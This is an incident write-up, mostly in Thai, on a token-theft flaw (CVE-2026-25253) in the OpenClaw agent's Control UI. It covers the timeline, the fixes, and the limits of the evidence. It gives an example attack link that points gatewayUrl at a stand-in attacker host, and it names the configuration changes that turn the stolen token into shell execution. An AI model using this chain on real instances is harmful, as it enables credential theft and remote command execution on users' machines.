ภาพประกอบเชิงบรรณาธิการแบบนามธรรมสีกรมท่าเข้ม: หน้าต่างเบราว์เซอร์ทางซ้ายมีริบบิ้น query-string เรืองแสงพาดตามออกไป โค้งข้ามช่องว่างสีเข้มไปยังโหนดโทเค็นสีอำพัน และเส้นบาง ๆ จากโทเค็นนั้นต่อเนื่องไปยังปลายทางแยกต่างหากทางขวา ข้อความเดียวที่มีคือป้ายเล็ก ๆ ที่อ่านว่า 'QUERY STRING > TOKEN > GATEWAY' ไม่มีผู้คน ไม่มีโลโก้
AI Safety Incidents

การ hijack WebSocket ของ OpenClaw Control UI: ลิงก์เดียวสู่ RCE

ผู้เขียน

Gideon Frost

วันที่เผยแพร่

โมเดลล่าสุด · 20ดูโมเดลทั้งหมด →
เบนช์มาร์ก: Artificial Analysis · อัปเดตทุกวัน
กลับไปยังโพสต์ทั้งหมด

เมื่อวันที่ 29 มกราคม 2026 บริษัทด้านความปลอดภัย Ethiack ได้เผยแพร่รายงานเกี่ยวกับช่องโหว่ใน OpenClaw ซึ่งเป็นเอเจนต์ AI ส่วนบุคคลแบบโอเพนซอร์สที่ทำงานบนเครื่องของผู้ใช้เองและถูกควบคุมผ่านแดชบอร์ดในเบราว์เซอร์ชื่อ Control UI ลิงก์ที่สร้างขึ้นเป็นพิเศษอาจทำให้แดชบอร์ดนั้นส่งโทเค็นการยืนยันตัวตนของเกตเวย์ให้ผู้โจมตี และด้วยโทเค็นนั้นก็จะสามารถรันคำสั่งเชลล์ในฐานะผู้ใช้ที่ลงชื่อเข้าใช้อยู่ได้ CVE-2026-25253 ตามมาเมื่อวันที่ 1 กุมภาพันธ์ 2026 และคำแนะนำของโครงการเองในวันถัดมา โดยทั้งสองให้คะแนนช่องโหว่นี้ที่ 8.8 ระดับสูง ทุกการติดตั้งที่มีคนลงชื่อเข้าใช้ Control UI อยู่ในขอบเขต รวมถึงอินสแตนซ์ที่เข้าถึงได้เฉพาะผ่านลูปแบ็ก ไม่มีแหล่งข้อมูลใดที่อ่านเพื่อบทความนี้บันทึกว่าช่องโหว่ถูกใช้โจมตีผู้ใช้จริง คลังเก็บข้อมูลจัดเหตุการณ์นี้เป็นเหตุการณ์ด้านโครงสร้างพื้นฐานระดับความรุนแรงสูง ด้วยระดับความเชื่อมั่น B และวันที่ระบุถึงระดับวันคือ 29 มกราคม 2026 ควบคู่กับรายการความปลอดภัยของเอเจนต์อื่น ๆ ใน Orca AI Incident Archive.

สิ่งที่ Control UI ทำกับ URL

OpenClaw เป็นเอเจนต์ที่โฮสต์เองซึ่งผู้ใช้เข้าถึงผ่านแอปส่งข้อความและแดชบอร์ดเว็บ และทำงานด้วยสิ่งที่รายงานของ Ethiack เรียกว่า "การเข้าถึงระบบทั้งหมด" โครงการนี้ถูกเปลี่ยนชื่อมากกว่าหนึ่งครั้งแล้ว โดยเคยใช้ชื่อ Clawdbot และ Moltbot ก่อนจะมาเป็น OpenClaw และทะเบียนของ npm บันทึกว่า openclaw เป็นแพ็กเกจที่สร้างเมื่อ 29 มกราคม 2026 เวลา 11:08 UTC แดชบอร์ดคือส่วนที่สำคัญในกรณีนี้: มันเก็บโทเค็นเกตเวย์ไว้ในที่จัดเก็บของเบราว์เซอร์ และเป็นจุดที่ช่องโหว่นั้นอยู่

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

ข้อเท็จจริงสองประการเกี่ยวกับเบราว์เซอร์เปลี่ยนการรั่วไหลนั้นให้กลายเป็นการยึดระบบ เบราว์เซอร์ไม่ได้ใช้นโยบายต้นกำเนิดเดียวกันกับการเชื่อมต่อ WebSocket แบบที่ใช้กับคำขอ HTTP ทั่วไป และเกตเวย์ไม่ได้ตรวจสอบส่วนหัว Origin ในขั้นตอนอัปเกรด ดังนั้น JavaScript บนหน้าที่เหยื่อเยี่ยมชมจึงสามารถเปิดซ็อกเก็ตตรงไปยัง ws://localhost:18789 (depthfirst, 1 กุมภาพันธ์ 2026) เนื่องจากเบราว์เซอร์ของเหยื่อเองเป็นผู้สร้างการเชื่อมต่อขาออก การโจมตีจึงเข้าถึงเกตเวย์ที่ผูกกับลูปแบ็กและมองไม่เห็นจากเครือข่าย "ช่องโหว่นี้สามารถถูกใช้โจมตีได้แม้ในอินสแตนซ์ที่กำหนดค่าให้รับฟังเฉพาะลูปแบ็ก เนื่องจากเบราว์เซอร์ของเหยื่อเป็นผู้เริ่มการเชื่อมต่อขาออก" คำแนะนำด้านความปลอดภัยของโครงการระบุ Ethiack บันทึกเงื่อนไขเพิ่มเติมอีกหนึ่งข้อในขณะนั้นว่า บิลด์ Chrome เวอร์ชันเสถียรที่ทดสอบไม่ได้มาพร้อมสิทธิ์ Local Network Access โดยค่าเริ่มต้น ดังนั้นเบราว์เซอร์จึงไม่แสดงพรอมต์ใด ๆ เช่นกัน

สิ่งที่โทเค็นที่ถูกขโมยไปมอบให้คือส่วนที่เหลือของเรื่องราว โทเค็นนี้มีขอบเขต operator.admin และ operator.approvals ติดมาด้วย ด้วยขอบเขตเหล่านี้ ผู้โจมตีสามารถปิดการอนุมัติการเรียกใช้ได้โดยตั้งค่า exec.approvals.set เป็น "off" ย้ายโฮสต์การเรียกใช้ออกจากคอนเทนเนอร์โดยตั้งค่า tools.exec.host เป็น "gateway" และจากนั้นรันคำสั่งเชลล์บนโฮสต์ผ่านคำขอ node.invoke / system.run (depthfirst, 1 กุมภาพันธ์ 2026; The Hacker News, 2 กุมภาพันธ์ 2026) ประกาศจากผู้ขายสรุปผลลัพธ์ไว้ในประโยคเดียวว่า ผู้โจมตีสามารถ "แก้ไขคอนฟิก (แซนด์บ็อกซ์ นโยบายเครื่องมือ) และเรียกใช้การกระทำที่มีสิทธิพิเศษ ทำให้เกิด RCE แบบคลิกเดียว"

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

พบได้ภายในเวลาไม่ถึงสองชั่วโมง โดยเครื่องจักร

การค้นพบนี้เองก็เป็นการทดลอง AI รูปแบบหนึ่ง Ethiack ปล่อย Hackian เอเจนต์ทดสอบเจาะระบบอัตโนมัติของตนให้ทำงานกับอินสแตนซ์ OpenClaw ที่ใช้งานจริงเมื่อวันที่ 26 มกราคม 2026 เวลา 13:21 UTC ระบบยืนยันช่องโหว่เมื่อเวลา 15:05 UTC ประมาณหนึ่งชั่วโมงสี่สิบนาทีต่อมา ซึ่งเป็นตัวเลขที่ Ethiack ขึ้นพาดหัวในรายงานของบริษัท บริษัทแจ้งเรื่องนี้แก่ผู้ดูแล OpenClaw เมื่อเวลา 18:02 UTC ตามไทม์ไลน์ที่ Ethiack เผยแพร่และประวัติคอมมิตของโปรเจกต์ มี pull request ตามมาในวันที่ 27 มกราคม และการแก้ไขเข้าสู่สาขาหลักในช่วงเย็นของวันที่ 28 มกราคม

ทีมที่สองได้ข้อสรุปเดียวกันโดยอิสระ Mav Levin นักวิจัยความปลอดภัยผู้ร่วมก่อตั้งที่ depthfirst เผยแพร่บทความของตนเองเมื่อวันที่ 1 กุมภาพันธ์ 2026 โดยเขียนว่า "ทีม OpenClaw ได้จัดการและแก้ไขปัญหาที่ผมรายงานอย่างรวดเร็ว" และมีคนอื่นรายงานบั๊กเดียวกันโดยอิสระ คำแนะนำของ GitHub ให้เครดิต DepthFirstDisclosures ในฐานะผู้รายงาน และระบุทั้ง 0xacb และ mavlevinในหมู่ผู้ค้นพบ บัญชี 0xacb มีชื่อโปรไฟล์ว่า André Baptista หนึ่งในสามผู้ร่วมเขียนบทความของ Ethiack ซึ่งสอดคล้องกับไทม์ไลน์: พูลรีเควสของ Ethiack ที่เกี่ยวข้องกับการแก้ไขถูกเปิดจากบัญชีนั้นเมื่อวันที่ 27 มกราคม และคอมมิตของผู้ดูแลขอบคุณบัญชีนั้นโดยระบุชื่อ ไม่มีแหล่งข่าวใดที่อ่านสำหรับบทความนี้กล่าวว่าทั้งสองความพยายามรู้จักกันก่อนการเผยแพร่ และไม่มีใครโต้แย้งเครดิต

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

วันที่ของบันทึก และวันที่โดยรอบ

คลังข้อมูลกำหนดวันที่ของรายการนี้เป็น 29 มกราคม 2026 ด้วยความแม่นยำระดับวัน และตรงกับวันที่งานวิจัยของ Ethiack ถูกเผยแพร่ต่อสาธารณะ การแก้ไขโค้ดได้ลงไปแล้วเมื่อวันก่อนหน้า รีลีสที่ติดแท็กซึ่งมีสิ่งนั้นตามมาในช่วงเช้ามืดของวันที่ 30 มกราคม UTC ซึ่งเป็นช่วงเย็นของวันที่ 29 มกราคมตามเวลาสหรัฐแปซิฟิก: npm บันทึกเวอร์ชัน 2026.1.29 เมื่อ 04:49 UTC ของวันที่ 30 มกราคม และ GitHub release เมื่อ 05:26 UTC บันทึก CVE ของ MITRE ลงวันที่ 1 กุมภาพันธ์ 2026 เวลา 22:34 UTC คำแนะนำของ GitHub วันที่ 2 กุมภาพันธ์ เวลา 23:41 UTC และ The Hacker News นำเสนอช่องโหว่นี้เมื่อวันที่ 2 กุมภาพันธ์

แหล่งข้อมูลที่บันทึกอ้างถึง คือตัวติดตามเหตุการณ์ของเอเจนต์ของ Permission Protocol ซึ่งมีไทม์ไลน์ของตัวเอง และบางส่วนล่าช้า โดยระบุว่าการเปิดตัวแพตช์คือวันที่ 2026-01-29 ซึ่งสอดคล้องกับหมายเลขเวอร์ชัน แต่ระบุวันที่ของ "รายงานเบื้องต้น" เกี่ยวกับช่องโหว่เป็น 2026-02-12 และการเปิดเผย CVE-2026-25253 ต่อสาธารณะในวงกว้างเป็น 2026-02-26 โดยมีบทสรุปรวบรวมข่าวอิสระเมื่อ 2026-03-24 เอกสารต้นทางกล่าวไว้ตรงกันข้าม วันที่ 26 กุมภาพันธ์ตรงกับการวิเคราะห์แพตช์ของ SonicWall ซึ่งเผยแพร่สามสัปดาห์ครึ่งหลังจากมีตัวระบุแล้ว และวันที่ 12 กุมภาพันธ์อยู่ระหว่างบทเขียนงานวิจัยสองชิ้นกับการวิเคราะห์ของผู้จำหน่าย ไม่ใช่ก่อนหน้า แถวไทม์ไลน์สุดท้ายของตัวติดตามยังเรียกกลไกนี้ว่า "zero-click" ขณะที่คำแนะนำของผู้จำหน่ายเรียกกลไกนี้ว่า 1-click และทุกเรื่องเล่าที่เผยแพร่บรรยายถึงเหยื่อที่ต้องเปิดลิงก์ ในกรณีที่วันที่และป้ายกำกับเหล่านั้นแตกต่างกัน บทความนี้ยึดตามบันทึก CVE คำแนะนำของผู้จำหน่าย และบทเขียนงานวิจัยทั้งสองชิ้น

มีข้อควรระวังเกี่ยวกับแหล่งข่าวนั้นที่ควรกล่าวอย่างเปิดเผย Permission Protocol ขายระบบตรวจสอบสิทธิ์ และเนื้อหาของแหล่งข่าวนั้นวางกรอบเหตุการณ์โดยอิงกับสิ่งที่ผลิตภัณฑ์ของตนจะบล็อกได้ หน้าเว็บระบุว่าการประเมินนั้นมีเงื่อนไข และกล่าวถึงตัวเองว่า "แหล่งข่าวไม่ได้ยืนยันผลการป้องกันของผลิตภัณฑ์" สิ่งที่บันทึกมีอยู่อย่างถูกต้องคือกรอบการนำเสนอ: งานวิจัยเผยแพร่ต่อสาธารณะก่อนที่ CVE จะมีอยู่สามวัน ซึ่งเป็นเหตุผลที่คลังข้อมูลเรียกสิ่งนี้ว่าการค้นพบล่วงหน้าก่อน CVE-2026-25253

อะไรกันแน่ที่ได้รับผลกระทบ

ไม่มีอะไรเลย เท่าที่แหล่งข้อมูลใด ๆ บันทึกไว้ คลังข้อมูลทำเครื่องหมายระเบียนว่า real_harm false และสิ่งนั้นสอดคล้องกับทุกสิ่งที่เผยแพร่โดยรอบ ศูนย์ความมั่นคงปลอดภัยไซเบอร์ของเบลเยียมออกคำแนะนำเมื่อวันที่ 2 กุมภาพันธ์ 2026 ระบุว่า "ขณะนี้ยังไม่มีหลักฐานว่าช่องโหว่นี้ถูกใช้ประโยชน์ในสภาพแวดล้อมจริง" ทั้ง Ethiack, depthfirst, SonicWall และ The Hacker News ต่างไม่รายงานเหยื่อ การติดตั้งที่ถูกบุกรุก หรือข้อมูลที่ถูกนำไป และไม่มีรายใดระบุจำนวนการติดตั้งที่เปิดเผยต่อความเสี่ยง Ethiack สังเกตเพียงว่ามี "อินสแตนซ์จำนวนมากที่ทำงานบนเซิร์ฟเวอร์สาธารณะ" ซึ่งมีการกำหนดค่าที่อ่อนแอ ซึ่งเป็นเพียงความรู้สึกมากกว่าการนับจำนวน

สิ่งที่确有อยู่คือโค้ดเอ็กซ์พลอยต์ที่ใช้งานได้ Ethiack เผยแพร่ซอร์สโค้ดเอ็กซ์พลอยต์ฉบับเต็มพร้อมบทวิเคราะห์ของตน และสาธิตห่วงโซ่การโจมตีกับอินสแตนซ์ของตนเอง การวิเคราะห์ของ SonicWall ในเดือนกุมภาพันธ์แสดงให้เห็นการดักจับโทเค็น "โดยใช้เอ็กซ์พลอยต์ที่เปิดเผยต่อสาธารณะ" ที่เก็บ proof-of-concept ของบุคคลที่สามปรากฏบน GitHub เมื่อวันที่ 9 มีนาคม 2026 โค้ดเอ็กซ์พลอยต์สาธารณะไม่เหมือนกับการถูกเอ็กซ์พลอยต์จริง และแฟล็กอันตรายของคลังข้อมูลนั้นเกี่ยวกับกรณีหลัง

มีแหล่งข้อมูลหนึ่งที่หลวมกว่าที่อื่นและควรค่าแก่การตั้งข้อสังเกต ส่วนความเสี่ยงในประกาศเตือนของเบลเยียมระบุว่าตัวบอตเองเป็นผู้เรนเดอร์เนื้อหาที่ผู้โจมตีควบคุมเป็นตัวกระตุ้น ซึ่งไม่ใช่กลไกในประกาศของผู้จำหน่ายหรือในรายงานวิจัยทั้งสองฉบับ: ในทั้งสามฉบับ เบราว์เซอร์ของเหยื่อถูกล่อให้ไปที่ลิงก์ และเอเจนต์เป็นเป้าหมาย ไม่ใช่พาหะนำส่ง ข้อความเกี่ยวกับการโจมตีของมันคือส่วนที่สามารถอ้างอิงได้ ส่วนสรุปกลไกของมันไม่ใช่

สิ่งที่เปลี่ยนแปลงไป และสิ่งที่การแก้ไขครั้งแรกยังปล่อยค้างไว้

การแก้ไขใน 2026.1.29 ได้เพิ่มกล่องโต้ตอบยืนยันก่อนที่ Control UI จะสลับไปยัง gateway URL อื่น คำแนะนำของโครงการอธิบายการเปลี่ยนแปลงนี้ว่า "ด้วยการเปลี่ยนแปลงนี้ ผู้ใช้จะต้องยืนยัน gateway URL ใหม่ใน UI" และไฟล์ที่เรนเดอร์กล่องโต้ตอบดังกล่าวมีอยู่ในแท็ก v2026.1.29 สิ่งนี้เพิ่มต้นทุนของการโจมตีจากการคลิกครั้งเดียวเป็นการคลิกครั้งเดียวบวกกับการยืนยันโดยเจตนา แต่ไม่ได้ขจัดความไว้วางใจที่มีต่อพารามิเตอร์ URL ที่เป็นพื้นฐาน

การตรวจสอบความถูกต้องของ Origin ซึ่งเป็นอีกครึ่งหนึ่งของห่วงโซ่ เกิดขึ้นในภายหลัง การวิเคราะห์แพตช์ของ SonicWall บันทึกไว้ว่า "การอัปเดตในภายหลังได้นำการควบคุมการตรวจสอบความถูกต้องของ Origin ที่เข้มงวดมาใช้" โดยระบุการตรวจสอบสี่ข้อ: ปฏิเสธส่วนหัว Origin ที่หายไปหรือไม่ถูกต้อง; อนุญาตโฮสต์ Origin ที่ตรงกับส่วนหัว Host; อนุญาต loopback ไปยัง loopback; อนุญาต Origin ที่ระบุไว้ในรายการ allowedOrigins ที่กำหนดค่าไว้; และปฏิเสธทุกอย่างอื่น ลำดับการทำงานนี้ปรากฏให้เห็นในซอร์สของโปรเจกต์ที่แท็ก v2026.1.29 ซึ่งตัวจัดการการอัปเกรด WebSocket อ่านและบันทึกส่วนหัว Origin โดยไม่นำนโยบายใด ๆ มาใช้กับส่วนหัวนั้น

การตอบสนองอื่น ๆ เป็นการตรวจจับมากกว่าเป็นโค้ด SonicWall ได้เผยแพร่ลายเซ็น IPS หมายเลข 21908 สำหรับสิ่งที่บริษัทเรียกว่าการเปิดเผยข้อมูลอ่อนไหวของ OpenClaw depthfirst แนะนำให้อัปเกรดและหมุนเวียนโทเค็นเกตเวย์หากสงสัยว่ามีการเปิดเผย ซึ่งเป็นผลโดยตรงจากกลไกนี้: โทเค็นที่ถูกขโมยจะยังคงใช้ได้จนกว่าจะมีคนเปลี่ยนมัน

สิ่งที่ได้รับการยืนยันแล้ว และสิ่งที่ยังไม่ได้รับการยืนยัน

ยืนยันแล้วจากเอกสารต้นฉบับ: เส้นทางโค้ดที่มีช่องโหว่อ่าน gatewayUrl จาก query string และเชื่อมต่ออัตโนมัติโดยไม่มีการตรวจสอบ เฟรม connect พาโทเค็นที่จัดเก็บไว้ไปด้วย เกตเวย์ไม่ได้ตรวจสอบ origin ของ WebSocket ดังนั้นเบราว์เซอร์บนเว็บไซต์ใดก็สามารถเข้าถึงลูปแบ็กได้ โทเค็นมีขอบเขต admin และ approval เวอร์ชันก่อน 2026.1.29 ได้รับผลกระทบ และสองทีมพบข้อบกพร่องนี้โดยแยกจากกัน โดยทีมหนึ่งเป็นเอเจนต์อัตโนมัติที่ทำงานจากภายนอก

ยังไม่เป็นที่ยืนยัน: ว่ามีใครใช้ช่องโหว่นี้หรือไม่ จำนวนการติดตั้งที่เข้าถึงได้ในขณะนั้น และว่ากล่องโต้ตอบยืนยันเพียงอย่างเดียวจะเอาชนะผู้โจมตีที่มุ่งมั่นได้หรือไม่ เกรด B ของคลังข้อมูลสะท้อนฐานการอ้างอิงที่เป็นตัวติดตามทุติยภูมิเพียงหนึ่งแหล่ง มากกว่าจะสะท้อนความสงสัยใด ๆ เกี่ยวกับกลไก และบันทึกดังกล่าวไม่ได้ถูกทำเครื่องหมายว่ามีข้อโต้แย้ง กลไกเหล่านั้นได้รับการยืนยันจากคำแนะนำของผู้จำหน่าย จากบันทึก CVE ของ MITRE และจากงานเขียนวิจัยอิสระสองชิ้น ซึ่งมากกว่าที่บันทึกเองอ้างไว้โดยลำพัง

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

สรุปหนึ่งบรรทัดของคลังข้อมูลเรียกสิ่งนี้ว่าการค้นพบล่วงหน้าก่อน CVE-2026-25253 และนั่นคือวิธีอ่านรายการนี้ที่ถูกต้อง: บันทึกของข้อบกพร่องที่ถูกค้นพบ รายงาน และแก้ไขก่อนที่จะมีตัวระบุ ในผลิตภัณฑ์ที่สร้างขึ้นเพื่อรันคำสั่งบนเครื่องที่มันอยู่ CVE ที่ตามมาอธิบายพฤติกรรมสามอย่างเดียวกัน ได้แก่ พารามิเตอร์คิวรี การเชื่อมต่อที่ไม่ได้ถูกกระตุ้น และโทเค็นในแฮนด์เชก และไม่มีแหล่งข้อมูลใดที่อ่านเพื่อเขียนชิ้นนี้ระบุว่ามีใครอยู่ปลายอีกด้านของการเชื่อมต่อนั้น

© 2026 OrcaRouter

สำหรับผู้ให้บริการ

ให้บริการแพลตฟอร์มการอนุมานอยู่หรือไม่ นำโมเดลของคุณขึ้น OrcaRouter

[email protected]

เข้าร่วมคอมมูนิตี้ของเรา

Discord[email protected]XLinkedInGitHubYouTube